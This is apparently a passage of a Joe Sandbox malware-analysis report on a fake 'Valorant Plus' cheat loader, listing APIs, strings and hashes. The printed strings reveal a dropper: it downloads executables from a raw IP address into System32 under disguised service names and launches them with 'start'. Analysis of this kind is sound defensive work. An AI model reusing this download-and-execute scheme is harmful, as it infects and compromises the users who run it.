SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1745
GetStdHandle.KERNEL32 ref: 00007FF79B6F175C
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1768
GetStdHandle.KERNEL32 ref: 00007FF79B6F177F
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F178B
GetStdHandle.KERNEL32 ref: 00007FF79B6F17A2
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F17AE
GetStdHandle.KERNEL32 ref: 00007FF79B6F17C5
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F17D1
GetStdHandle.KERNEL32 ref: 00007FF79B6F17E8
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F17F4
GetStdHandle.KERNEL32 ref: 00007FF79B6F1817
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1823
GetStdHandle.KERNEL32 ref: 00007FF79B6F183A
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1846
GetStdHandle.KERNEL32 ref: 00007FF79B6F185D
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1869
GetStdHandle.KERNEL32 ref: 00007FF79B6F188C
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F1898
GetStdHandle.KERNEL32 ref: 00007FF79B6F18AF
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F18BB
GetStdHandle.KERNEL32 ref: 00007FF79B6F18D2
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79B6F18DE
??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z.MSVCP140 ref: 00007FF79B6F18FB
URLDownloadToFileA.URLMON ref: 00007FF79B6F194F
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F195B
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F1968
Sleep.KERNEL32 ref: 00007FF79B6F1973
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F197B
URLDownloadToFileA.URLMON ref: 00007FF79B6F19CD
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F19D9
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F19E6
Sleep.KERNEL32 ref: 00007FF79B6F19F1
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F19F9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F1A32

Strings

Selecione a opcao: , xrefs: 00007FF79B6F18E4
cd C:\, xrefs: 00007FF79B6F1954, 00007FF79B6F19D2
http://185.101.104.122/plushvcionbronkz.exe, xrefs: 00007FF79B6F1987
C:\Windows\System32\SerHuStinsHostDialog.exe, xrefs: 00007FF79B6F191A
##########################################################, xrefs: 00007FF79B6F176E
.exe, xrefs: 00007FF79B6F1563
start C:\Windows\System32\ServceHubeinssDialog.exe, xrefs: 00007FF79B6F19DF
Iniciar Valorant Plus (HVCI HABILITADO): , xrefs: 00007FF79B6F186F
C:\Windows\System32\ServceHubeinssDialog.exe, xrefs: 00007FF79B6F1998
[ Selecione uma opcao: ], xrefs: 00007FF79B6F174B
start C:\Windows\System32\SerHuStinsHostDialog.exe, xrefs: 00007FF79B6F1961
http://185.101.104.122/plushvciforabronkz.exe, xrefs: 00007FF79B6F1909
Iniciar Valorant Plus (HVCI DESLIGADO): , xrefs: 00007FF79B6F17FA
##########################################################, xrefs: 00007FF79B6F1728

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Console$AttributeHandleText$Windowsystem$rand$DownloadFileLongSleep_invalid_parameter_noinfo_noreturnexit$??5?$basic_istream@AttributesD@std@@@std@@LayeredTitleU?$char_traits@V01@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: Iniciar Valorant Plus (HVCI DESLIGADO): $ Iniciar Valorant Plus (HVCI HABILITADO): $ Selecione a opcao: $##########################################################$##########################################################$.exe$C:\Windows\System32\SerHuStinsHostDialog.exe$C:\Windows\System32\ServceHubeinssDialog.exe$[ Selecione uma opcao: ]$cd C:\$http://185.101.104.122/plushvciforabronkz.exe$http://185.101.104.122/plushvcionbronkz.exe$start C:\Windows\System32\SerHuStinsHostDialog.exe$start C:\Windows\System32\ServceHubeinssDialog.exe
API String ID: 2233566951-898826868
Opcode ID: 88824a79e85efdc60ed7d95ebd4118c32d67c6a1aa86a915eb6cad24bffb8373
Instruction ID: 0ee4322c6ddd2875dd884c0123f0367ecc04a3cd0ad8bfc532b9c72784e8aae7
Opcode Fuzzy Hash: 88824a79e85efdc60ed7d95ebd4118c32d67c6a1aa86a915eb6cad24bffb8373
Instruction Fuzzy Hash: 9EE16721B0C54B86EB20FB78D8551B8A763EF49795F804336D51E86AF5DE2CA749C320

Function 00007FF79B708980 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 191
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FF79B7089A8
WSACleanup.WS2_32 ref: 00007FF79B7089C3
GetModuleHandleA.KERNEL32 ref: 00007FF79B708A14
GetProcAddress.KERNEL32 ref: 00007FF79B708A40
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B708A5A
LoadLibraryA.KERNEL32 ref: 00007FF79B708A7D
GetProcAddress.KERNEL32 ref: 00007FF79B708A9A
LoadLibraryExA.KERNELBASE ref: 00007FF79B708AB0
GetSystemDirectoryA.KERNEL32 ref: 00007FF79B708AC6
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B708ADE
GetSystemDirectoryA.KERNEL32 ref: 00007FF79B708AF2
LoadLibraryA.KERNEL32 ref: 00007FF79B708B60
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B708B6C
GetProcAddress.KERNEL32 ref: 00007FF79B708B98
VerSetConditionMask.KERNEL32 ref: 00007FF79B708C21
VerSetConditionMask.KERNEL32 ref: 00007FF79B708C34
VerSetConditionMask.KERNEL32 ref: 00007FF79B708C43
VerSetConditionMask.KERNEL32 ref: 00007FF79B708C52
VerSetConditionMask.KERNEL32 ref: 00007FF79B708C62
VerifyVersionInfoA.KERNEL32 ref: 00007FF79B708C73
QueryPerformanceFrequency.KERNEL32 ref: 00007FF79B708C8F

Strings

AddDllDirectory, xrefs: 00007FF79B708A90
LoadLibraryExA, xrefs: 00007FF79B708A2E
if_nametoindex, xrefs: 00007FF79B708B8E
kernel32, xrefs: 00007FF79B7089FB
iphlpapi.dll, xrefs: 00007FF79B708A46

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ConditionMask$AddressLibraryLoadProc$DirectorySystem$CleanupFrequencyHandleInfoModulePerformanceQueryStartupVerifyVersionfreemallocstrpbrk
String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 2612373469-2794540096
Opcode ID: dd8c520f1f9f42ea8cb78eec73e1dd8ca5308544d44c97ebf9fd234ba4bd7abd
Instruction ID: b7dfeb4b0396e38b3410325c7d9519670048f98e27cedd45b3baa057d22add13
Opcode Fuzzy Hash: dd8c520f1f9f42ea8cb78eec73e1dd8ca5308544d44c97ebf9fd234ba4bd7abd
Instruction Fuzzy Hash: 47916721A0D78686E770AB39A8543B9B7A2FB8DB85F844337C94D06775DF3CE2458720

Function 00007FF79B707CC0 Relevance: 38.9, APIs: 15, Strings: 7, Instructions: 357
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B707D5C
socket.WS2_32 ref: 00007FF79B707DA5
htons.WS2_32 ref: 00007FF79B707E31
setsockopt.WS2_32 ref: 00007FF79B707E93
WSAGetLastError.WS2_32 ref: 00007FF79B707E9D
getsockopt.WS2_32 ref: 00007FF79B707F3F
setsockopt.WS2_32 ref: 00007FF79B707F6E
setsockopt.WS2_32 ref: 00007FF79B707FAD
WSAIoctl.WS2_32 ref: 00007FF79B70803A
WSAGetLastError.WS2_32 ref: 00007FF79B708044

Part of subcall function 00007FF79B714C90: ioctlsocket.WS2_32 ref: 00007FF79B714CA9

Part of subcall function 00007FF79B70D7B0: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FF79B6F582F), ref: 00007FF79B70D7C7

connect.WS2_32 ref: 00007FF79B70816B
WSAGetLastError.WS2_32 ref: 00007FF79B708188

Part of subcall function 00007FF79B6F2500: GetLastError.KERNEL32 ref: 00007FF79B6F2522
Part of subcall function 00007FF79B6F2500: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F252A

Part of subcall function 00007FF79B705AF0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C15
Part of subcall function 00007FF79B705AF0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C30

Part of subcall function 00007FF79B7065D0: closesocket.WS2_32 ref: 00007FF79B706613

Strings

Failed to set SO_KEEPALIVE on fd %d, xrefs: 00007FF79B707FBA
@, xrefs: 00007FF79B707ED7
Immediate connect fail for %s: %s, xrefs: 00007FF79B7081B8
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 00007FF79B70804D
Could not set TCP_NODELAY: %s, xrefs: 00007FF79B707EBA
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00007FF79B70822E
Trying %s:%ld..., xrefs: 00007FF79B707E3F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast$setsockopt$fwrite$CounterIoctlPerformanceQuery_errnoclosesocketconnectgetsockopthtonsioctlsocketmemcpysocket
String ID: Trying %s:%ld...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 3453287622-3868455274
Opcode ID: f83ce6319c3d072a7bee076589618ddd50afc74ce46f89b4be21cbc75155fc70
Instruction ID: 79d13a319f992aaedfe9e11edc6fe94f8d50ec6fbe9aef4f614f82459a615c94
Opcode Fuzzy Hash: f83ce6319c3d072a7bee076589618ddd50afc74ce46f89b4be21cbc75155fc70
Instruction Fuzzy Hash: D5F1B471A0C64A86E770EB39D8442BDA7A1FB48748F804637DA4D47AB5DF3CE645CB20

Function 00007FF79B714A60 Relevance: 24.1, APIs: 16, Instructions: 127
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 00007FF79B714AA1
htonl.WS2_32 ref: 00007FF79B714ACE
setsockopt.WS2_32 ref: 00007FF79B714B05
bind.WS2_32 ref: 00007FF79B714B20
getsockname.WS2_32 ref: 00007FF79B714B3C
listen.WS2_32 ref: 00007FF79B714B51
socket.WS2_32 ref: 00007FF79B714B68
connect.WS2_32 ref: 00007FF79B714B87
accept.WS2_32 ref: 00007FF79B714B9E
send.WS2_32 ref: 00007FF79B714BEC
recv.WS2_32 ref: 00007FF79B714C0A
memcmp.VCRUNTIME140 ref: 00007FF79B714C25
closesocket.WS2_32 ref: 00007FF79B714C31

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: socket$acceptbindclosesocketconnectgetsocknamehtonllistenmemcmprecvsendsetsockopt
String ID:
API String ID: 3699910901-0
Opcode ID: 422b14c895b552d3fb477ae8a66caf64ac0e62345687c253540b9b0d801fd834
Instruction ID: 5ffa98a76d898694f182cf99dd9b1801b9d64c29dd5ce9f8ff400a7cc426cc47
Opcode Fuzzy Hash: 422b14c895b552d3fb477ae8a66caf64ac0e62345687c253540b9b0d801fd834
Instruction Fuzzy Hash: 31518531608A4A81D720EF39E444169B762EF897B5F904736DA7E43AF4DF3CD6458B20

Function 00007FF79B706980 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Connection time-out, xrefs: 00007FF79B706A69
After %I64dms connect time, move on!, xrefs: 00007FF79B706B45
Connection failed, xrefs: 00007FF79B706D66
connect to %s port %ld failed: %s, xrefs: 00007FF79B706BFD
Failed to connect to %s port %ld: %s, xrefs: 00007FF79B706EAE

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: After %I64dms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-3307081561
Opcode ID: a71db190aa329004f507fd76ddab9ba0122149fb4121735d41cd30deda26f777
Instruction ID: 5715ab0a7affd685939391c5ac95b4c807aa25bb76451257f2b8429df33af24e
Opcode Fuzzy Hash: a71db190aa329004f507fd76ddab9ba0122149fb4121735d41cd30deda26f777
Instruction Fuzzy Hash: 54E1D161A0C68A86EB24AB38D8543BAA771FB48794F844337EA5D077F5DF3CE6518310

Function 00007FF79B705CF0 Relevance: 3.0, APIs: 2, Instructions: 23networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF79B705CFC
WSAGetLastError.WS2_32 ref: 00007FF79B705D0B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 50b0f7eba990a790d6b453f32775dedec0c9d4c657e3ed14e7c64ed1cc5c7626
Instruction ID: 96dfbcd5cbbac8bcb4fca3b8dd4428cb720103a437e9aa4ff0caf354d9e49d9a
Opcode Fuzzy Hash: 50b0f7eba990a790d6b453f32775dedec0c9d4c657e3ed14e7c64ed1cc5c7626
Instruction Fuzzy Hash: 48E02661F0850983FF3967B4F8943785292DB48772F844735CA3B867E0EE2C46D24310

Function 00007FF79B6E2AA0 Relevance: 40.7, APIs: 16, Strings: 7, Instructions: 402
sleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E28A7
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2917
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2977
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E29C7
Part of subcall function 00007FF79B6E2840: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2A17

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2C48

Part of subcall function 00007FF79B6E48C0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E4980

Part of subcall function 00007FF79B73F1F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF79B6E43EE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B73F20A

Part of subcall function 00007FF79B6E4310: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2C98
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2CD7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2D25
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2D64
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2E18
memcpy.VCRUNTIME140 ref: 00007FF79B6E2E3D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2F13
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2F5A
ShellExecuteA.SHELL32 ref: 00007FF79B6E3052
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E305A
MessageBoxA.USER32 ref: 00007FF79B6E3090
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E30A1
Sleep.KERNEL32 ref: 00007FF79B6E3109
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E3111
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6E3118

Part of subcall function 00007FF79B6E3160: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E326F
Part of subcall function 00007FF79B6E3160: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E32B0

Part of subcall function 00007FF79B6E3C30: memcpy.VCRUNTIME140 ref: 00007FF79B6E3C83

Part of subcall function 00007FF79B6E32D0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E33B0

Part of subcall function 00007FF79B6E33D0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E34B0

Strings

message, xrefs: 00007FF79B6E2FA3, 00007FF79B6E3061
download, xrefs: 00007FF79B6E3015
open, xrefs: 00007FF79B6E3049
Failure, xrefs: 00007FF79B6E3087
invalidver, xrefs: 00007FF79B6E2FD9
sessionid, xrefs: 00007FF79B6E2E9E
success, xrefs: 00007FF79B6E2E76

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$system$exitmemcpy$Concurrency::cancel_current_taskExecuteMessageShellSleepmalloc
String ID: Failure$download$invalidver$message$open$sessionid$success
API String ID: 3283070336-3881042241
Opcode ID: 808f3f8f9a502d94b51a1e4f925074e44e6be06fd5dabf19b5d0441e1288d3e7
Instruction ID: 6ada24265388a8bc80017f47869179c31b63833b375b0b48ef0dee78c64c972a
Opcode Fuzzy Hash: 808f3f8f9a502d94b51a1e4f925074e44e6be06fd5dabf19b5d0441e1288d3e7
Instruction Fuzzy Hash: 1F02E662A0878981EB20EBBCE4443ADA763FB44794F805635DA6D07AF5DF3DE294C350

Function 00007FF79B71B5C0 Relevance: 38.9, APIs: 6, Strings: 16, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B71BC01
memcpy.VCRUNTIME140 ref: 00007FF79B71BC1D

Strings

schannel: failed to decrypt data, need more data, xrefs: 00007FF79B71BB2A
schannel: server indicated shutdown in a prior call, xrefs: 00007FF79B71B688
schannel: can't renogotiate, encrypted data available, xrefs: 00007FF79B71BBA2
schannel: an unrecoverable error occurred in a prior call, xrefs: 00007FF79B71B665
schannel: SSL/TLS connection renegotiated, xrefs: 00007FF79B71BA5F
schannel: renegotiating SSL/TLS connection, xrefs: 00007FF79B71BA18
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 00007FF79B71B78D
schannel: failed to read data from server: %s, xrefs: 00007FF79B71BB52
schannel: server closed the connection, xrefs: 00007FF79B71BA94
schannel: Curl_read_plain returned error %d, xrefs: 00007FF79B71B961
schannel: enough decrypted data is already available, xrefs: 00007FF79B71B645
schannel: renegotiation failed, xrefs: 00007FF79B71BB8E
schannel: can't renogotiate, an error is pending, xrefs: 00007FF79B71BB82
schannel: server closed abruptly (missing close_notify), xrefs: 00007FF79B71BBAE
schannel: remote party requests renegotiation, xrefs: 00007FF79B71B9E2
schannel: unable to re-allocate memory, xrefs: 00007FF79B71B6FD, 00007FF79B71BB66

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy
String ID: schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renogotiate, an error is pending$schannel: can't renogotiate, encrypted data available$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 3510742995-857957974
Opcode ID: 40bec67c4f280abf8169a9c87595eced14b45029a4417c1ac000181a656fb29d
Instruction ID: 1e184bdf1f3ace3cbe9b48b2edc68bc4ed02fe39ac95bd3617314bae8b7b88fe
Opcode Fuzzy Hash: 40bec67c4f280abf8169a9c87595eced14b45029a4417c1ac000181a656fb29d
Instruction Fuzzy Hash: 1D02D232A18A4989EB70EF2DD884369B7A5FB88B94F904637CA4D477B0DF78D541C720

Function 00007FF79B71AA50 Relevance: 31.9, APIs: 9, Strings: 9, Instructions: 415
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71AB40
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71AB91
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71ABD4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71ACB7
memcpy.VCRUNTIME140 ref: 00007FF79B71AD59
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71ADC2
memcpy.VCRUNTIME140 ref: 00007FF79B71AE9A
memset.VCRUNTIME140 ref: 00007FF79B71B067
CertFreeCertificateContext.CRYPT32 ref: 00007FF79B71B0CA

Strings

SSL: public key does not match pinned public key!, xrefs: 00007FF79B71B0AC, 00007FF79B71B0D4
schannel: SNI or certificate check failed: %s, xrefs: 00007FF79B71AF2B
SSL: failed retrieving public key from server certificate, xrefs: 00007FF79B71B0EA
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 00007FF79B71AF74
schannel: unable to allocate memory, xrefs: 00007FF79B71B1BF
schannel: unable to re-allocate memory, xrefs: 00007FF79B71ABE2
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 00007FF79B71AEC6
schannel: Failed to read remote certificate context: %s, xrefs: 00007FF79B71B10A
schannel: next InitializeSecurityContext failed: %s, xrefs: 00007FF79B71AF5E, 00007FF79B71B172

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: malloc$memcpy$CertCertificateContextFreefreememsetrealloc
String ID: SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key!$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: next InitializeSecurityContext failed: %s$schannel: unable to allocate memory$schannel: unable to re-allocate memory
API String ID: 860210379-3059304359
Opcode ID: 0069e22e83d2df3d6ca214a1eead1379acfb1bb3aa6f3cc0dfee171741038c1e
Instruction ID: e54f54e5e7d2da956fdaa87d3a4e074c0eb3ae889f1739197d2fe371624342c6
Opcode Fuzzy Hash: 0069e22e83d2df3d6ca214a1eead1379acfb1bb3aa6f3cc0dfee171741038c1e
Instruction Fuzzy Hash: 64127032608B8A85E770DB2DD8543AAB7A5FB88B84F904237CA5D577B0DF38D645C720

Function 00007FF79B719C70 Relevance: 30.1, APIs: 4, Strings: 13, Instructions: 348
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF79B719D41
GetProcAddress.KERNEL32 ref: 00007FF79B719D51

Strings

